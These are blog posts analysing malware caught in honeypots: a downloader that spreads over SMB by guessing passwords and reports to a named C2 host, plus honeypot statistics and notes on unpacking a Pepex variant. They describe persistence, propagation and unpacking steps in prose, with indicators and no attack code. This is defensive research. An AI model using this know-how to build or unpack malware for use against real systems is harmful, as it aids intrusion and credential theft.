I had to use the -Pn flag in nmap to get this info. I need to see more of what the malware’s activity is before I feel comfortable coming to more conclusions about this address. I feel like this might be a malicious site, but perhaps it’s not. I think it’s too early to say, but info from threatcrowd.org isn’t looking good for 125.206.117.59:

candid3

Notice that fukyu.jp sends info to this IP.

At this point, my feeling about this malware is that it tries to download updates or additional instructions from a website, and that it tries to find other users on the network where it is run and then attempts to gain access to those accounts using those awful passwords listed above. It also appears to achieve some stealth and persistence. I need to move on to dynamic analysis and further on in order to say more about what this sample does.

Dynamic Analysis

I gathered observations on two runs of this malware, first as a regular user and the second one as an admin. I started examining the results from the user run, which is what I typically do because I want to see if the malware runs into any issues or does any kind of privilege escalation.

I saw what appeared to be strings related to the registry and specifically to making the malware run at startup, but RegShot didn’t really show too much that was meaningful happening in the context of the malware (nor did it show any files written or deleted that appeared malware related, etc.). There was, however, this big block of changes:

HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@provsvc.dll,-202: “HomeGroup”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@sstpsvc.dll,-35001: “Secure Socket Tunneling Protocol”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@netlogon.dll,-1010: “Netlogon Service”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@snmptrap.exe,-3: “SNMP Trap”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@%systemroot%\system32\provsvc.dll,-202: “HomeGroup”
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\ZN\yno\haxabja.rkr: 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF FF FF FF FF 20 51 5A 5B 13 F7 D1 01 00 00 00 00
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\HomeGroup\UIStatusCache\Modifier: “[username]”
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\HomeGroup\UIStatusCache\ModifierSystem: “[machine name”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@provsvc.dll,-202: “HomeGroup”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@sstpsvc.dll,-35001: “Secure Socket Tunneling Protocol”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@netlogon.dll,-1010: “Netlogon Service”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@snmptrap.exe,-3: “SNMP Trap”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@%systemroot%\system32\provsvc.dll,-202: “HomeGroup”

Autoruns didn’t show anything being added to run at startup.

Stepping through Process Monitor, we do see something interesting – the malware attempted to add itself to run at startup under the name PHIME2005 (which we saw in the strings earlier) with the command line c:\MA\lab\unknown.exe /SYNC, but this failed due to not having appropriate access. This is interesting because first we can see a good potential signature, but also because it appears that the malware doesn’t escalate privileges because it was denied access to set this registry value.

Further on, we do see HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable being set to 0 successfully, and attempts to delete some other values:

Later, we see that it tries to delete some values (and is denied access) but successfully sets some values related to internet settings:

candid6

Towards the end, we see 101 threads being created (likely for scanning new machines, similar to a previous sample) and then alternating thread exit/creation:

candid7

Looking in Wireshark, we can see a few tens of thousands of TCP packets used for IP addresses being scanned on port 445 (SMB) which is also where we received this sample in the honeypot. For UDP, we see only a couple of hundred, but almost all of them were local (e.g., there were a couple of successful DNS resolutions on port 53, but not malware related). The other interesting traffic was on ports 137/138 (SMB), 1027/1028, 1900 (UPnP), 5007 (could be Yahoo Messenger for UDP), and 5353/5355. There wasn’t a resolution for fukyu.jp, however the malware did attempt to connect to 125.206.117.59 on port 80 (unsuccessfully – it never received a response from the SYN packet).

I didn’t see any calls to WriteFile or DeleteFileA. One other thing that I haven’t seen before while analyzing files is the following event:

candid8

I’m going to look through the recording of activity from the instance run as administrator to see what’s different. Looking in RegShot as a first step, one thing that we see immediately is that the following registry value is successfully added:

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\PHIME2005: “C:\MA\lab\unknown.exe /SYNC”

We can also observe this in autoruns:

candid9

Otherwise we see essentially the same behavior. Wireshark also revealed essentially the same traffic as before when run as a regular user. Similarly, nothing significant seemed to happen when this malware was run with the /SYNC argument, however I’d like to see in the disassembly what is supposed to happen with this argument.

After trying all of this, I ran Fakenet and then re-ran the malware, and something interesting happened:

candid10

First, you can see that the malware attempts to resolve the fukyu.jp address, and then makes an HTTP GET request on port 80 to the link we saw in the strings earlier. Then we see this strange dialog box with an error message related to the file we saw referenced in the strings. Looking back through the Process Monitor results, you can see that the malware does try to access this file when it runs, however it didn’t successfully do this until I was running Fakenet. In this case, the error came from how Fakenet serves its own .jpg to the malware instead of the actual .jpg that would have been located at the malicious domain. I suspect that if this file was still available at fukyu.jp/update/ACCl3.jpg, that it would have been downloaded and executed. My guess is that this is a Windows executable that was renamed as a .jpg file. I’d really like to get my hands on this file… I’ll give some thought as to how this could be accomplished. I think at this point I’ve exhausted most of what I can do statically and dynamically, and will turn to disassembly and debugging to see what else I can get out of this sample.

Disassembly and Debugging

As soon as I opened this in Ida, I was a bit relieved because quickly going through it didn’t reveal anything that looked too horrific in terms of flows or obfuscation. The first important thing we see happening in the main function is that networking is started and the filename of the process is obtained:

candid11

Below that we see the filename that we just obtained having the /SYNC argument appended and then this is used to modify the registry to achieve persistence:

candid12

Then, we see a few calls to some subroutines and then a loop before the final cleanup and exit. Notice that 0x64 (100 decimal) is pushed on to the stack and this is used to control the loop, hence the 101 threads we saw created earlier during the dynamic analysis:

candid13

I’m going to start going through these subs in order starting with 401E00:

candid14

Looking here, the first action taken is a string is created based on the system directory and the string \\msupd.exe. If this file can be opened (so we get a non-zero return to EAX), then we don’t follow the conditional jump and move towards the return on the left. If we cannot open this file (so, most likely because it doesn’t exist) we follow the conditional jump towards the right where we take the string to download the ACCl3.jpg file from fukyu.jp and then call LoadLibraryA to import wininet.dll. Following these series of conditional jumps, we import the function DeleteUrlCacheEnrty, then import urlmon.dll and then import UrlDownloadToFile. Right after this function is imported, we see an indirect call (annoying) which is almost certainly the call to UrlDownloadToFile because we then see a call to CreateProcessA which matches the behavior that the malware exhibited during dynamic analysis. Seems to me that the file downloads ACCL3.jpg to the %system% directory as wsupd.exe. After this we see cleanup by calls to CloseHandle and then return to the WinMain sub.

The next sub is 401BF0. This one begins with several calls from ws2_32.dll related to establishing networking. We see a call to inet_addr with 125.206.117.59 as an argument (pretty much confirming to me that this is a shady address, if the other research didn’t make it clear enough) and then a call to connect. We then see the malware gathering system information. First, there’s a call to 401A70 which establishes a local date/time group:

candid15

Returning from 401A70, we see calls to GetLocaleInfoA and GetComputerNameA, surely as part of a system inventory, and then a call to 401FE0. This sub tries to resolve the fukyu.jp domain name as its most important contribution to the overall function of the malware. Below this we see a call to GetUserNameA and then we see all of this information, including the string “1.003” (which I suspect might be a version number for this malware), being turned into a string that is then used to send an HTTP GET request to /update/TPDB.php with the string info as arguments:

candid16

This is the last important thing this sub does, and then we see cleanup and a return to WinMain. Back there, we see that the sub that is called as part of the loop that creates the 101 threads calls the sub 401870, which I’m sure is going to be pretty interesting once we take that apart.

Sub 401870 calls GetTickCount and the _srand before entering a loop. There are several nested loops here, but the part of the nested loops that do the “reaching out” to the remote systems repeats 256 times before the overall loop starts all over again. The first thing this overall loop does is a bunch of setup for various parameters and then four calls to sub 401140 which consists of a call to _rand and a SAR instruction. We can see the construction of an IP address. There is a call to 401150 which handles relatively uninteresting validation, and then we reach another conditional jump:

candid17

If we’re successful with generating the IP address, then we continue and call 4011F0 which does the actual connection to the IP address being scanned. If the scan is successful, there’s additional work done with the data returned and then a subsequent call to 4011F0 for followup, then further down we see a call to 4012B0.

4012B0 is a very interesting sub. Here’s a snapshot of the initial block of code:

candid18

We start to see the beginnings of the setup to start trying usernames and passwords and a reference to IPC. There’s a call to WNetAddConnection2A, and then we either exit if unsuccessful or we continue with this sub. If we continue we then see the call to NetUserEnum, and if we continue being successful then we eventually reach an area where we see a pointer to a username being passed to another sub 401430. This sub passed the start address of our block of unforgivably bad passwords (starting at 408030 in .data land) and then starts iterating through that list, passing the username and password pointers to another sub, 401490. This sub then starts trying to connect to other machines with the list of passwords and enumerated usernames:

candid19

candid20

If we’re actually successful – we see that the malware calls GetLocalTimeDate and then creates a string to report the successful login to its controller:

candid21

If you look in the %system%\system32\ folder on my test machine, you’ll find a file called dnsapi.dll but not dnsapi.exe. Looks like successful logins get stored in that file that is clearly meant to blend in well with the legitimate files in the system32 directory. Then, the malware gets really cute:

candid22

candid23

OK – so it takes this data about the successful login, and puts that info in the log file. Then it calls 401AE0 which updates C2 about the data in a manner similar to the ones already observed (a call to the /updata/TPDA.php file located at 125.206.117.59). Then we see:

candid24

And then the branches:

candid25

If it can successfully schedule the job (call to NetScheduleJobAdd), it then goes and reports this information to C2. If it cannot, then it just deletes the file (dnsapi.exe). I think I’m going to take a look at this later in the debugger just to see if I can get more clarity on what exactly is going on. My impression is that data is being saved into this dnsapi.exe file and if a job cannot be schedule with this data, then the file is deleted to help cover the malware’s tracks. I’d like to try to force it to go to this code and see if I can get more observations that will help figure this out. Either way, this sub ends with a cleanup and return to the previous sub.

That’s basically all for this malware. Next up I’m going to try to look in some of the recorded data and the debugger and see if I can get anything else out of this. As I go along, I’ll put some of the things I see along the way in the debugger.

Here we see a random IP that was generated within sub 401870 (specifically at 40191F):

candid26

This one happened to be a China Unicom address.

We see that it’s trying to connect via IPC:

candid27

We’re in the right area now:

candid28

Watching this in the debugger, I see what it’s doing is making a copy of itself and putting it in the %system%\system32\dnsapi.exe path and then scheduling the copy to run as a job. If successful, it reports such to C2 with two different calls (one to report CopyOK and another to report TaskOK). If it can’t make this copy, then it deletes itself. I was wrong about my earlier thought that this was storing data there – I think that since I saw it achieve persistence early on (via the registry), I figured this must be something else, but looks like this malware just wants to make especially sure that it has a foothold on the host system. The successful activities of the malware (for instance, successful logins to user accounts) gets reported to the C2 system at 125.206.117.59 which means that this file doesn’t need to keep anything local to exfiltrate later.

I didn’t see any consistent naming for this sample online, and most scanners refer to it as a generic malware/downloader. Since this was a pretty “friendly” sample, without anti-analysis aspects, obfuscation, packing or much else that would make my job harder, and since there appears to be a two-part aspect to it, I’m going to name this one CANDID.

Findings and observations:
Downloader that tries hard to establish itself in a system via multiple methods of persistence and also aggressively spreads to other remote and local systems. Exfiltrates data regarding compromised accounts to a C2 server that still exists but appears to be out of service, at least as far as this malware is concerned.

Recommendations:
Running this in user mode (i.e., not with admin privileges) did prevent one of the persistence methods from being successful (the registry edits) but might not keep the other method from being successful (installation in the %system%\system32 directory). Even so, keeping users running at a level of access appropriate for their roles and tasks at hand is recommended. As this malware spreads via SMB on ports 445 and 137/138 it’s recommended to block or otherwise secure these ports and services. Blocking access to the C2 sites at fukyu.jp and 125.206.117.59 should prevent the malware from reporting its actions to the C2 controller and should also prevent the malware from receiving updates and instructions.

Conclusion:
An interesting but not very hardened malware sample that steals credentials from users and reports this to its controller.

Report:MalEXE004pdf

Hashes:
MD5:e42ae0e10b29f1b36e75fde65c1f788a
SHA1:c156a8344029bf3d5db5fe959d7b860069b1c037
SHA256:c74197710c01332990b294b77fbb3e2060df2a3d8492295895723d93a9fcd766
ssdeep:768:cHC0p5mwel+twV39TD8mRF5rKJZsF6No2:X0p5mwelJ9TD8mv5ImGo

August Honeypot Statistics

Posted on September 6, 2016 - September 2, 2016 by rhyolite

Time for an update on my constellation of honeypots. As you may recall from my last update, I currently have four Dionaea honeypots running in NYC, Frankfurt, Bangalore and Singapore (the GRAB series) and a single Conpot running in NYC (JUMPSEAT).

grab1

I had a bit of an issue this month that caused me to lose some data from the honeypots. The issue was the same on all the GRAB honeypots, but the circumstances were different and this is what’s interesting to me. I ran out of inodes on all four honeypots. On two of them (NYC and Frankfurt), this is definitely my fault as I never backed up and removed the bistreams stored on both of them, so after almost two months of operation I simply ran out of inodes there. However, on my other two, what was pretty crazy is that I ran out of inodes shortly after bringing them online due to the high volume of traffic on both honeypots. One honeypot ran out of inodes after seven days, and the other after three days due to the sheer volume of attacks. I didn’t think I’d have to check on them that frequently, but looks like we’re doing ok now. Maybe there was some sort of campaign in that part of the world… Here are the stats.

GRAB-NYC03:
Connections: 757,521
Unique IPs: 19,192
Files Downloaded: 12

2ndmonth1

2ndmonth2

Similar results to last time I measured – though keep in mind that I did lose about 10 days of data from this one, so the full results probably would have been much higher. Romania increased its share to about 6% of the total attacks (up from about 0.71% last month).

2ndmonth3

2ndmonth4

A more varied mix of services, while UPnP remains the most popular.
Again, not a shock that the most activity also came through port 1900, the UDP port for UPnP.

2ndmonth5

Actually a new set of top 10 IPs this time, with fewer attacks per IP address than last month (which had one address responsible for about 80,000 attacks). The top IP with 14,057 attacks leads back to AWS. The next one, 45.32.222.158, leads to Choopa, LLC, a managed hosting company in Matawan, NJ. According to their Google reviews, they are known for hosting malicious actors. Good to keep in mind in case I ever need a “permissive” host someday. Number 4 on the list, 94.236.95.171, is odd because it originates at Beggars Group, Ltd, a group of record labels. Numbers 5 and 6 originate in Beijing.

Here’s a map showing the attacker locations:
2ndmonth6

2ndmonth7

Next is the Frankfurt honeypot:

GRAB-FRA01:
Connections: 745,068
Unique IPs: 13,803
Files Downloaded: 13

Again, results more or less in line with last month, keeping in mind the loss of 10 days of data. More unique IPs this time, many fewer files downloaded.

2ndmonth8

2ndmonth9

Similar to the results from the NYC honeypot.

2ndmonth10

The huge number of UPnP connections looks more like the prior month’s results (compared with NYC’s results).

2ndmonth11

Therefore, no shock here when looking at ports.

2ndmonth12

Like NYC, a new set of characters this time around. Nearly 110,000 attacks from 54.211.52.121, which leads back to AWS. In number 3, 94.236.95.171, we again see that Beggars Group, Ltd entity. Numbers 4 and 5 lead back to Beijing.

Here’s another map of the attackers, with an alternate view of the same data as well:

2ndmonth13

2ndmonth14

Now for the new honeypots!

GRAB-SIN01:
Connections: 154,834
Unique IPs: 17,750
Files Downloaded: 2,003

That’s not a mistake – I really did get just over 2,000 files collected in the Singapore honeypot. Almost all of them were Conficker variants. Out of all the unique binaries, I only found one Pepex variant and a Poebot variant, then 137 different Conficker binaries. I haven’t found Conficker in any of my other honeypots so far. Really unbelievable how many files I captured in such a small attack surface (compared with my other honeypots).

2ndmonth15 2ndmonth16

Interesting split – this makes me think that there is some sort of regional difference here, at least compared with my other honeypots. We see China higher up and also Vietnam, which so far I haven’t seen in the top 10 anywhere else.

2ndmonth17

A bit more diversity in these services, closer to what NYC looked like vs. Frankfurt.

2ndmonth18

2ndmonth19
This time, Beggars Group is the top IP address messing around with my Singapore honeypot. Coming in at number 3 is 208.78.164.135, at Valve Corporation. Number 6, 188.165.192.91, leads to OVH in France. Number 9, 54.166.233.236, shows up as AWS. The final one there, 93.174.93.136, leads to Quasi Networks, based in Seychelles. Their barely functioning website advises that they are building sites in Amsterdam, Stockholm, Frankfurt, Moscow and London and that their website will be online soon. I guess they already have the hosting up and running… Another one to keep in mind in case I need a permissive host. Interesting that this hub didn’t see any Chinese addresses in the top 10.

2ndmonth21 2ndmonth20

Bangalore:

GRAB-BAN01:
Connections: 72,685
Unique IPs: 19,299
Files Downloaded: 1

Dismal number of files collected from Bangalore. Interesting that this honeypot has the highest number of unique IPs of all the GRAB honeypots. Also interesting that this honeypot has the highest diversity of connections (the top is “Other” which encompasses individual countries that were too small to fit on the top 10 on their own, followed by China and the USA).

2ndmonth22 2ndmonth23

Nothing too out of the ordinary in terms of services and ports:

2ndmonth28 2ndmonth27 2ndmonth24

Beggars Group, Ltd, is number 1 again, at 94.236.95.171. Numbers 2 and 3 are in Beijing, number 4 is Valve Corporation again. We saw OVH again, in 8^th place, at 188.165.192.91. Otherwise, nothing too new or interesting here.

Some maps:

2ndmonth25 2ndmonth26

With JUMPSEAT, I’m running a Conpot honeypot, and I don’t have as many options as far as reporting as I do with the Dionaea honeypots. I took the raw logs and did some work with them in LibreOffice. Here are some numbers regarding the total numbers of connections that I had:

2ndmonth29

Modbus was the most popular protocol, followed by all variants of HTTP. There were a few other things scattered around in there. Looking at attacks by IP address, things get more interesting:

2ndmonth30

71.6.167.142 leads to a hosting company called CariNet out in San Diego, CA. This person scanned just about every port on JUMPSEAT. The other addresses were definitely more typical of the activity I got on this honeypot, as you can see from the numbers. 113.240.250.156 and 106.38.241.111 lead to Beijing. 91.196.50.33 and 185.25.148.240 lead back to a hosting company in Poland. 67.87.198.46 actually leads to Optimum Online in NY – is someone scanning these from home?

When I ran 71.6.167.142 through robtex.com, it actually appears that this is shodan.io. The way it scanned the honeypot makes sense now.

That’s it for this month.

Working Pepex Followup

Posted on August 30, 2016 - August 12, 2016 by rhyolite

I tried working on unpacking the file found in the .rsrc section of the Pepex variant that I analyzed, and had mixed results. I first tried a couple of things like simply looking for a far jump in a disassembly (like with UPX), which didn’t work. I can’t say I’m too surprised, but I figured I would give it a try. I tried running the original malware and then patching the code to force the branch where the file is loaded and executed, but the file that drops is just the packed file from .rsrc (in this case, dropped as %system%\system32\LSASvc.exe).

Next I tried putting breakpoints on Kernel32.LoadLibraryA and Kernel32.LoadLibraryW which showed that a couple of libraries were loaded (GDI32 and imm32). However, the binary keeps failing shortly after the calls to GetProcAddress for various functions from imm32 and GDI32 complete. I notice a string on the stack that says:

pepexfu1

So, it clearly knows it’s being messed with. Not sure if this had something to do with what I was trying to do in the debugger, or if it just didn’t like being taken out of the .rsrc section of the overall malware.

Some online tutorials suggest doing something like this:

1) find the PUSH EAX instruction following the PUSHFW and PUSHAD instructions
2) follow what’s in ESP
3) find the string 46 02 C4 FF:

pepexfu2

4) set a hardware breakpoint (on access, word) for that string
5) Run program, when BP is hit you should be close to OEP

Trying to follow this keeps resulting in exceptions/errors and crashes. However, a few lines below the original PUSH EAX instruction, I saw this:

pepexfu3

I figured that I would just check out what is at 400000, and:

pepexfu4

I see the 4D 5A magic numbers and then dumped from there. I ended up dumping the file three ways – used each of Olly’s methods of reconstructing the PE header, and then also without reconstructing it.

What I ended up with was a somewhat unpacked file from the .rsrc section and then the file from the .rsrc section that was created after patching the code to follow that branch (which is what I had originally gotten from the .rsrc section running Resource Hacker).

The unpacked file actually reveals many strings. I’ll go through some of what I find the most interesting, with the full set of strings at the end. First we see what appear to be pretty typical imports – Kernel32, User32, ADVAPI32, WS2_32 and some error message strings. Following this is the first block of function names. Some of the more interesting ones are:

VirtualAlloc, CreateThread, VirtualFree: These are some functions associated with process replacement. I’m not seeing others (such as ResumeThread, WriteProcessMemory, etc.) but perhaps I’m just not seeing them in this file because of the way it was unpacked. This is something to keep in mind as I take a look at what this executable does when run by the parent malware.

WriteFile, DeleteFileA, ReadFile, CopyFileA: I’m always happy to see these functions because it tells me there might be some obvious file system artifacts to look for, but it also makes me wonder if this file copies an existing, legitimate file somewhere else (such as a temp directory) and then does some sort of MiTM thing.

GetSystemDirectoryA, GetTempFileNameA, GetTempPathA: Related to the thoughts above regarding replacement of a legitimate file. I wonder if something happens like: 1) copy legitimate file to a temp path 2) replacement legitimate file with malicious file 3) malicious file receives input from system first before passing on to the legitimate file now residing in the temp directory so that nothing seems amiss.

FindFirstFileA, FindNextFileA: Looks like this thing will look for a specific file.

GetComputerNameA, GetVersionExA, GetDriveTypeA: Makes me think of some sort of system inventory.

CreateProcessA: Will be interesting to see what, if anything, this file creates with a call to this function.

CreateServiceA, StartServiceA: Another interesting clue that some of the other strings here might relate to a service name that this file uses when it creates a service with itself.

The smaller block of libraries and functions at the end just appears to be a repeat of what we’ve seen earlier. Below the large block of functions, we see an interesting set of strings:

Unable to load function: %s (%s)
Unable to load ordinal: %d (%s)
LSAService
Microsoft LSA Logon Authorization Service
\LSASvc.exe
( Win32s )
( Windows 98 )
( Windows 95 )
ver %d.%d %s (Build %d)
Server
SERVERNT
Workstation
WINNT
ProductType
SYSTEM\CurrentControlSet\Control\ProductOptions
( Windows2000
( WindowsNT
( Unknown )
%s <%uk>
*%s
C:\

Looks like the first two are some error messages specific to this sample. After that I’m going to guess that when this calls CreateServiceA and StartServiceA it calls itself LSAService/Microsoft LSA Logon Authorization Service. Next we see what appears to be some sort of system inventory creation text. I’m going to try to get this to run and see what happens dynamically.

Looking at the malware in the debugger, after the file is written from the .rsrc section, there is a call to CreateProcess with these parameters:

pepexfu5

Stepping through the parameters with the help of MSDN:

pProcessInfo: Pointer to a PROCESS_INFORMATION struct that receives info about the new process. In this run this value happens to be 18FB44.

PstartupInfo: Pointer to a STARTUPINFO or STARTUPINFOEX struct. In this run this value is 18FB00. We also see this string:

pepexfu6

CurrentDir: The path to the current directory for the process. In this run, it’s set to NULL, so the new process will have the same path as the calling process (which in our case would be c:\ma\lab\)

pEnvironment: NULL in our run, which means that the new process will use the environment of the calling process

CreationFlags: In our case this has been set to CREATE_NO_WINDOW (0x08000000). I’m going to change this to 0x00000010 (CREATE_NEW_CONSOLE) so we can see what it does:

InheritHandles: In our run, this is set to FALSE, so no handles are inherited from the main malware process.

pThreadSecurity: Set to NULL, so handles to the new thread cannot be inherited by child processes.

pProcessSecurity: Also NULL, so handles to the new process cannot be inherited by child processes.

CommandLine: The command line to be executed, which in our case is the string from above – C:\Windows\system32\lsasvc.exe -i (though on our system that’s the SysWOW64 directory since I’m running this on a Win7 VM). The -i argument is interesting. Maybe this means “-install”? I wonder if there is a corresponding -u or -r argument.

ModuleFileName: NULL, so “…the module name must be the first white space-delimited token in the lpCommandLine string…”, therefore lsasvc.exe.

After this, we see some MOVs that zero out some areas in ESP and then we see the parameters set up for the call to CreateProcessA – looks like how I want it:

pepexfu8

Running this, however, didn’t produce a console. I was hoping that since the author went out of their way to set this as CREATE_NO_WINDOW, that perhaps I could change the CreationFlags to get something to appear. In discussing this with someone online (thanks Defunct), my current thought process is that since the parent isn’t run in its own console and since this child process should be getting the parent’s STARTUPINFO struct, that could be one reason why we aren’t “seeing” anything. The malware could also have been compiled to be a GUI app and not as a console app. Anyway…

Despite this, we do see some interesting things happen when the process is run. First, Regshot reveals the following changes in the registry:

———————————-
Keys added: 2
———————————-
HKLM\SYSTEM\ControlSet001\services\LSAService
HKLM\SYSTEM\CurrentControlSet\services\LSAService
———————————-
Values added: 14
———————————-
HKLM\SYSTEM\ControlSet001\services\LSAService\Type: 0x00000010
HKLM\SYSTEM\ControlSet001\services\LSAService\Start: 0x00000002
HKLM\SYSTEM\ControlSet001\services\LSAService\ErrorControl: 0x00000001
HKLM\SYSTEM\ControlSet001\services\LSAService\ImagePath: “C:\Windows\system32\LSASvc.exe”
HKLM\SYSTEM\ControlSet001\services\LSAService\DisplayName: “Microsoft LSA Logon Authorization
Service”
HKLM\SYSTEM\ControlSet001\services\LSAService\WOW64: 0x00000001
HKLM\SYSTEM\ControlSet001\services\LSAService\ObjectName: “LocalSystem”
HKLM\SYSTEM\CurrentControlSet\services\LSAService\Type: 0x00000010
HKLM\SYSTEM\CurrentControlSet\services\LSAService\Start: 0x00000002
HKLM\SYSTEM\CurrentControlSet\services\LSAService\ErrorControl: 0x00000001
HKLM\SYSTEM\CurrentControlSet\services\LSAService\ImagePath: “C:\Windows\system32\LSASvc.exe”
HKLM\SYSTEM\CurrentControlSet\services\LSAService\DisplayName: “Microsoft LSA Logon Authorization
Service”
HKLM\SYSTEM\CurrentControlSet\services\LSAService\WOW64: 0x00000001
HKLM\SYSTEM\CurrentControlSet\services\LSAService\ObjectName: “LocalSystem”

Per MSDN, the service Type (0x00000010) is a Win32 program that can be started by the service controller. The Start type (0x00000002) indicates that it should automatically load at startup. This looks to be how this other file achieves some persistence and also stealth as it tries to masquerade as a legitimate-sounding service.

Process Explorer and Process Monitor let us observe that the call to CreateProcessA spawns an LSASvc.exe process (PID 1160) and then that process terminates with another LSASvc.exe process being created (PID 2816). This new process (2816) starts listening on port 186. This is pretty interesting, because the parent malware didn’t appear to have any C2 functionality, and this might indicate how the malware can be worked with remotely.

I tried to fix the dumped file with LordPE and ImpRec, but still had issues with the file so I’m probably going to leave it be, at least for now. There were some interesting things going on in this file, though, so I’ve updated the report from the last post and am including that here. Please let me know if you have any thoughts on any of this, particularly on unpacking Petite!

Updated Report (with additions in bold): MalEXE003-updated

Full Strings:

!This program cannot be run in DOS mode.
Rich
.petite
KERNEL32.dll
USER32.dll
ADVAPI32.dll
WS2_32.dll
runtime error
TLOSS error
SING error
DOMAIN error
R6028
– unable to initialize heap
R6027
– not enough space for lowio initialization
R6026
– not enough space for stdio initialization
R6025
– pure virtual function call
R6024
– not enough space for _onexit/atexit table
R6019
– unable to open console device
R6018
– unexpected heap error
R6017
– unexpected multithread lock error
R6016
– not enough space for thread data
abnormal program termination
R6009
– not enough space for environment
R6008
– not enough space for arguments
R6002
– floating point not loaded
Microsoft Visual C++ Runtime Library
Runtime Error!
Program:
…
<program name unknown>
GetLastActivePopup
GetActiveWindow
MessageBoxA
user32.dll
CloseHandle
WaitForSingleObject
CreateEventA
GetLastError
lstrcatA
GetSystemDirectoryA
CopyFileA
GetModuleFileNameA
GetModuleHandleA
CreateThread
lstrcmpiA
GetVersionExA
Sleep
GetTickCount
lstrlenA
GetComputerNameA
FindClose
FindNextFileA
WriteFile
FindFirstFileA
GetTempFileNameA
lstrcpyA
GetTempPathA
CreateProcessA
DeleteFileA
ReadFile
SetFilePointer
GetFileSize
CreateFileA
GetDriveTypeA
wsprintfA
StartServiceCtrlDispatcherA
SetServiceStatus
RegisterServiceCtrlHandlerA
CloseServiceHandle
StartServiceA
CreateServiceA
OpenSCManagerA
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
ExitProcess
TerminateProcess
GetCurrentProcess
GetStartupInfoA
GetCommandLineA
GetVersion
UnhandledExceptionFilter
FreeEnvironmentStringsA
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStrings
GetEnvironmentStringsW
SetHandleCount
GetStdHandle
GetFileType
HeapDestroy
HeapCreate
VirtualFree
HeapFree
RtlUnwind
GetCPInfo
GetACP
GetOEMCP
HeapAlloc
VirtualAlloc
HeapReAlloc
GetProcAddress
LoadLibraryA
MultiByteToWideChar
LCMapStringA
LCMapStringW
GetStringTypeA
GetStringTypeW
This file has been tampered with and
MAY BE INFECTED BY A VIRUS!
Unable to load function: %s (%s)
Unable to load ordinal: %d (%s)
LSAService
Microsoft LSA Logon Authorization Service
\LSASvc.exe
( Win32s )
( Windows 98 )
( Windows 95 )
ver %d.%d %s (Build %d)
Server
SERVERNT
Workstation
WINNT
ProductType
SYSTEM\CurrentControlSet\Control\ProductOptions
( Windows2000
( WindowsNT
( Unknown )
%s <%uk>
*%s
C:\
ERROR!
Corrupt Data!
ExitProcess
LoadLibraryA
GetProcAddress
VirtualProtect
GlobalAlloc
GlobalFree
GetModuleHandleA
MessageBoxA
wsprintfA
RegCloseKey
KERNEL32.dll
USER32.dll
ADVAPI32.dll
WS2_32.dll

New Pepex Variant (this one works)

Posted on August 23, 2016 - August 10, 2016 by rhyolite

I spent the morning sorting through samples from all the GRAB honeypots, and settled on a sample that happened to come in via the NYC honeypot. 50/53 detection ratio on VirusTotal, so let’s look into it in more depth.

Static Analysis

Running strings on the sample reveals only four strings that make any sense at all:

MZKERNEL32.DLL
LoadLibraryA
GetProcAddress
FILE

Looks packed to me, but not UPX like the last sample. PEiD identifies the packer as Upack 0.39 beta. I opened the file in PE Explorer and that automatically unpacked the malware (revealing many more strings than before), but I am going to take a shot at manually unpacking it anyway.

Upack is trickier than UPX, in my opinion. Opening the packed sample doesn’t show a clear jump to OEP, so I opened it in Olly and went to where the code for LoadLibraryA is found by pressing ctrl-G and then going to kernel32.LoadLibraryA, then set a breakpoint on the first instruction:

newpepex1

I watch the malware call LoadLibraryA seven times, ending with Mpr.dll, and then hitting run again causes it to run and not hit the breakpoint again. Restoring the VM snapshot, I go back to where Mpr.dll was called and then set another breakpoint on GetProcAddress, and then run through that five times until it appears that GetUserNameEx is the final function called with GetProcAddress before the rest of the program runs and the second breakpoint is no longer hit.

Stepping through the rest of that particular call to GetProcAddress and returning to the rest of the code, I’m ready to start stepping through the remains of the unpacking stub to get to the actual code entry point:

newpepex2

After following a few branches, I see what I believe to be the entry point:

newpepex3

This doesn’t look too typical for me in terms of address and code, but mainly what I was looking at here was a relatively long block of code compared with the branches I just looked at, plus starting at 756AA4E9 you can see what looks like it could be the start of a function with PUSH EBP | MOV EBP, ESP. Trying to dump that as an OEP didn’t really work – I did get something that I could disassemble and also do other analysis on, but this doesn’t seem to be the right place. Using OllyDump and its feature “Find OEP by Section Hop (Trace Over)” got me to this general area which looks much more promising:

newpepex4

Checking this against the automatically unpacked file, this is the entry point area. What’s sort of strange is that whether I dump this process from the other address above (756AA4E9) or the one right here (4023A0), I end up with basically the same dumped file and OllyDump can’t do anything with the import table. ImpRec doesn’t work either, and either way I’m left with something that doesn’t function but nevertheless offers a lot of interesting data statically or in disassembly. Since I was successful with the automated tool, I’m going to move on to static analysis of the unpacked sample that I obtained with PE Explorer.

Going through the meaningful strings from the unpacked malware, we now see a more normal set of sections:

.code
.data
.idata
.rsrc

I don’t typically see a .code section, but this must be the equivalent of the .text section containing the sample’s code. I also don’t usually see .idata, but this should have the import function info which I’m more accustomed to finding in the .rdata section. I’m guessing that something is contained in .rsrc, but we’ll get to that later.

